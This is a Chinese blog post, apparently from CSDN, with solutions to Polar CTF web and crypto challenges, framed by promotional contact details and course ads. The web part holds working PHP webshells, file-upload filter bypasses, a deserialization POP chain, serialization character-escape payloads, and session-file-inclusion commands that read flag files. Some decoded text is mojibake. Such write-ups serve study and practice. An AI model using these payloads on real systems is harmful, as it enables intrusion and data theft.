网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
<?php
class Index
{
private $Polar1 = 3;
private $Polar2 = 3;
protected $Night = 3;
protected $Light = 3;
function getflag($flag)
{
$Polar2 = rand(0, 100);
if ($this->Polar1 === $this->Polar2) {
$Light = rand(0, 100);
if ($this->Night === $this->Light) {
echo $flag;
}
} else {
echo "Your wrong!!!";
}
}
}
$a = new Index();
echo urlencode(serialize($a));
# O%3A5%3A%22Index%22%3A4%3A%7Bs%3A13%3A%22%00Index%00Polar1%22%3Bi%3A3%3Bs%3A13%3A%22%00Index%00Polar2%22%3Bi%3A3%3Bs%3A8%3A%22%00%2A%00Night%22%3Bi%3A3%3Bs%3A8%3A%22%00%2A%00Light%22%3Bi%3A3%3B%7D
因为php是不能直接给private和protected的变量直接赋值的,所以rand()函数直接废掉,不起作用
又或者变量引用
$a->Polar1=&$a->Polar2;
$a->Night=&$a->Light;
web-upload
$is\_upload = false;
$msg = null;
if (isset($\_POST['submit'])) {
if (file\_exists(UPLOAD\_PATH)) {
$deny\_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file\_name = trim($\_FILES['upload\_file']['name']);
$file\_name = str\_ireplace($deny\_ext,"", $file\_name);
$temp\_file = $\_FILES['upload\_file']['tmp\_name'];
$img\_path = UPLOAD\_PATH.'/'.rand(10000,99999).$file\_name;
if (move\_uploaded\_file($temp\_file, $img\_path)) {
$is\_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD\_PATH . '文件夹不存在,请手工创建!';
}
}
明显双写绕过,将木马文件命名为a.pphphp即可,文件内容<?php eval($_POST['a']);
上传文件之后,可以F12查看网络,就可以看到文件上传的位置了,再用蚁剑连接即可
(补题发现,秋季那道ezupload,上传GIF文件,再抓包改php后缀,蚁剑,不过我连接的时候,警告返回数据为空??不应该啊)
web-你的马呢?
经典文件上传,注意到URL,可能存在文件包含,发现可以/etc/passwd
,先读一下源码url/index.php?file=php://filter/read/convert.base64-encode/resource=upload.php
<?php
if(isset($\_FILES['upfile'])){
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($\_FILES['upfile']['name']);
$ext = pathinfo($\_FILES['upfile']['name'],PATHINFO\_EXTENSION);
//检查文件å†
容
$text = file\_get\_contents($\_FILES['upfile']['tmp\_name']);
echo $ext;
//检查文件åŽç¼€
if (!preg\_match("/ph.|htaccess/i", $ext)){
if(preg\_match("/<\?php/i", $text)){
echo "å˜¿å˜¿å˜¿ï¼Œæƒ³ä¼ é©¬ï¼Ÿä¸å¯èƒ½ï¼<br>";
}
else{
move\_uploaded\_file($\_FILES['upfile']['tmp\_name'],$uploadfile);
echo "æå–œä½ ï¼Œä¸Šä¼ è·¯å¾„<br>路径为:" . $uploadfile . "<br>";
}
}
else {
echo "æ¶æ„åŽç¼€,试试.jsp呢?<br>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>ä¸Šä¼ æ–‡ä»¶</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
åƒä¸‡åˆ«ä¸Šä¼ php脚本ï¼ï¼ï¼ï¼
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="file" name="upfile" value="" />
<input type="submit" name="submit" value="æ交" />
</form>
</body>
</html>
大致内容是,文件内容不能含<?php标签,文件名后缀不能有ph.和htaccess,等
上传jpg文件,利用短标签
GIF89a
<?=eval($\_POST['a']);?>
post: a=system(cat /f*);
web-ezphp
爬虫-> robots.txt
User-agent: *
Disallow: /file
Disallow: /uploads
Disallow: /uploads/images
进入uploads/upload.php
进行文件上传
/file
告诉我们要传参filename
/uploads/images
查看上传了那些文件
上传木马文件
url/file/file.php?filename=../uploads/images/a.jpg
post:a=system('ls /');
发现bin dev etc home lib linuxrc media mnt proc root run sbin srv sys tmp usr var
一般是在home或root下
post:a=system('ls /home');
最终post:a=system('cat /home/webuser/flag');
web-你想逃也逃不掉
PHP反序列化字符逃逸,题目的过滤函数使得字符减少
<?php
/\*
https://ytyyds.github.io/ (与本题无关)
\*/
error\_reporting(0);
highlight\_file(\_\_FILE\_\_);
function filter($string){
return preg\_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = $\_POST['name'];
$user['passwd'] = $\_GET['passwd'];
$user['sign'] = '123456';
$ans = filter(serialize($user));
if(unserialize($ans)[sign] == "ytyyds"){
echo file\_get\_contents('flag.php');
}
本地试验
<?php
function filter($string)
{
return preg\_replace('/phtml|php3|php4|php5|aspx|gif/', '', $string);
}
$user['username'] = 'phtmlphtmlphtmlphtml';
$user['passwd'] = ';s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}';
$user['sign'] = '123456';
echo serialize($user);
echo "\n";
echo filter(serialize(($user)));
$ans = filter(serialize($user));
if (unserialize($ans)[sign] == "ytyyds") {
echo "\nsuccess!!!";
}
# a:3:{s:8:"username";s:20:"phtmlphtmlphtmlphtml";s:6:"passwd";s:46:";s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}";s:4:"sign";s:6:"123456";}
# a:3:{s:8:"username";s:20:"";s:6:"passwd";s:46:";s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}";s:4:"sign";s:6:"123456";}
# success!!!
post: name=phtmlphtmlphtmlphtml
get: url/?passwd=;s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}
F12查看即可
web-苦海
链子User::__wakeup()->User::printName()->Surrender::__toString()->FileRobot::__get()->FileRobot::__invoke()->FileRobot::Get_file()
<?php
class User
{
public $name = 'PolarNight';
public $flag = 'syst3m("rm -rf ./\*");';
public function \_\_construct()
{
echo "删库跑路,蹲监狱~";
}
public function printName()
{
echo $this->name;
return 'ok';
}
public function \_\_wakeup()
{
echo "hi, Welcome to Polar D&N ~ ";
$this->printName();
}
public function \_\_get($cc)
{
echo "give you flag : " . $this->flag;
}
}
class Surrender
{
private $phone = 110;
public $promise = '遵纪守法,好公民~';
public function \_\_construct()
{
$this->promise = '苦海无涯,回头是岸!';
return $this->promise;
}
public function \_\_toString()
{
return $this->file['filename']->content['title'];
}
}
class FileRobot
{
public $filename = 'flag.php';
public $path;
public function \_\_get($name)
{
$function = $this->path;
return $function();
}
public function Get\_file($file)
{
$hint = base64\_encode(file\_get\_contents($file));
echo $hint;
}
public function \_\_invoke()
{
$content = $this->Get\_file($this->filename);
echo $content;
}
}
//User::\_\_wakeup()->User::printName()->Surrender::\_\_toString()->FileRobot::\_\_get()->FileRobot::\_\_invoke()->FileRobot::Get\_file()
$a = new User();
$a->name = new Surrender();
$a->name->file["filename"] = new FileRobot();
$a->name->file['filename']->path = new FileRobot();
$a->name->file['filename']->path->filename = '../flag.php';
echo urlencode(serialize($a));
flag位置要试,试出在../flag.php
web-safe_include
<?php
show\_source(\_\_FILE\_\_);
@session\_start();
ini\_set('open\_basedir', '/var/www/html/:/tmp/');
$sys = @$\_SESSION['xxs'];
if (isset($\_GET['xxs'])) {
$sys = $\_GET['xxs'];
}
@include $sys;
$\_SESSION['xxs'] = $sys;
session文件包含
open_basedir
是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域,假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。注意用open_basedir指定的限制实际上是前缀,而不是目录名
举例来说: 若"open_basedir = /dir/user", 那么目录 “/dir/user” 和 "/dir/user1"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名
?xxs=<?php system('cat /flag');?>
保存进session的值并写入session文件
根据sessionID生成session文件,/tmp/sess_sessionID,sessionID一般就是Cookie中PHPSESSID的值,可以通过F12查看网络获得
?xxs=/tmp/sess_sessionID
进行session文件包含
crypto
crypto-base
密文j2rXjx8wSZjD
base64换表GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5
解密即可,得到flag{666}
crypto-AFF
题目可知是仿射密码
密文WMPTPTRGGPED
c = (3 * j - 17) % 26
根据代码可知,a=3,b=17
得到thisisaffine
flag{THISISAFFINE}
crypto-神秘组织M
栅栏密码M型,靠,之前只知道普通的跟W型,其实题目也提示了。。。。
{bc1bg572ec066}a0d2fb137l951b5451f06b7
手工得到
{ b c 1 b
g 5 7 2 e c 0 6 6 }
a 0 d 2 f b 1 3 7
l 9 5 1 b 5 4 5 1
f 0 6 b 7
flag{50905d7b2216bfeccb5b41016357176b}
后面看见这个靶场也有一道M型的
crypto-数星星
词频统计,自己先把单词找出来,直接在buuctf做过一道类似的,浪里淘沙?好像是这个,直接把脚本搬过来
content = ""
list = ['tonight', 'success', 'favorite', 'we', 'example', 'crypto', 'should', 'is',
'learn', 'sublim', 'morning', 'system', 'your', 'word', 'which', 'found']
l = []
for each in list:
if each in content:
print(content.count(each), each)
l.append((content.count(each), each))
l = sorted(l, reverse=False)
dest = [l[i-1] for i in (3, 6, 10, 12, 15)]
print(dest)
print(''.join([i[1] for i in dest]))
# whichisyourfavoriteword
# flag{17c5d0278edcbad3d061a92b723c116d}
crypto-不一样的四四方方
jilinjingcha
information
engineering
网上的关于四方密码介绍很多,一般秘钥都是没有j/q/i
但是这道题我们去的是z,附件的给提示
key1:informatbcdeghjklpqsuvwxy
key2:engirabcdfhjklmopqstuvwxy
加密。。。。就很抽象,都说了题目给的是密文,不应该是解密吗??
BDHAHCTLTNMG
这是大写的结果,有的网站是这个
还有就是,有的在线网站跑出来的是小写的结果,md之后就不是flag了,题目又说是md5小写加密。。。。。
md5一下
flag{c6dac3a0f40dfacefcc473585cdeb0f8}
总结:这道题很抽象
crypto-我爱456
kseYvkasuj5618t
lygemfla235158jd
utasvQsjdybl587t
sydwkuhd54kdhg
jtftY658qiwudhs
iaugwjiushyc871
aksQbhasbkjcbkjd
dvbpzd8v26dfv6f
s6dvdNf6v52v6x
65dT26f5d1b6f5v
35f2Y6d65bbfv5
35dfv32d8bfv256d
kdhMvnhdkjzldkj
sdhjTujsdbch268
sdr26Iksds265dsv
jnm2dsnsdv26865
评价:又是一道misc题。。。
456循环,依次提取字符串中的第4,5,6个字符
with open("提取出只有字符串的文件位置", 'r') as f:
a = f.read().split('\n')
flag = ''
for i in range(len(a)):
if i % 3 == 0:
flag += a[i][3]
elif i % 3 == 1:
flag += a[i][4]
else:
flag += a[i][5]
print(flag)
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
***93道网络安全面试题***
![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png)
![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)
![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)
**需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)**
内容实在太多,不一一截图了
### 黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
#### 1️⃣零基础入门
##### ① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。
![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)
##### ② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/topics/618540462)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**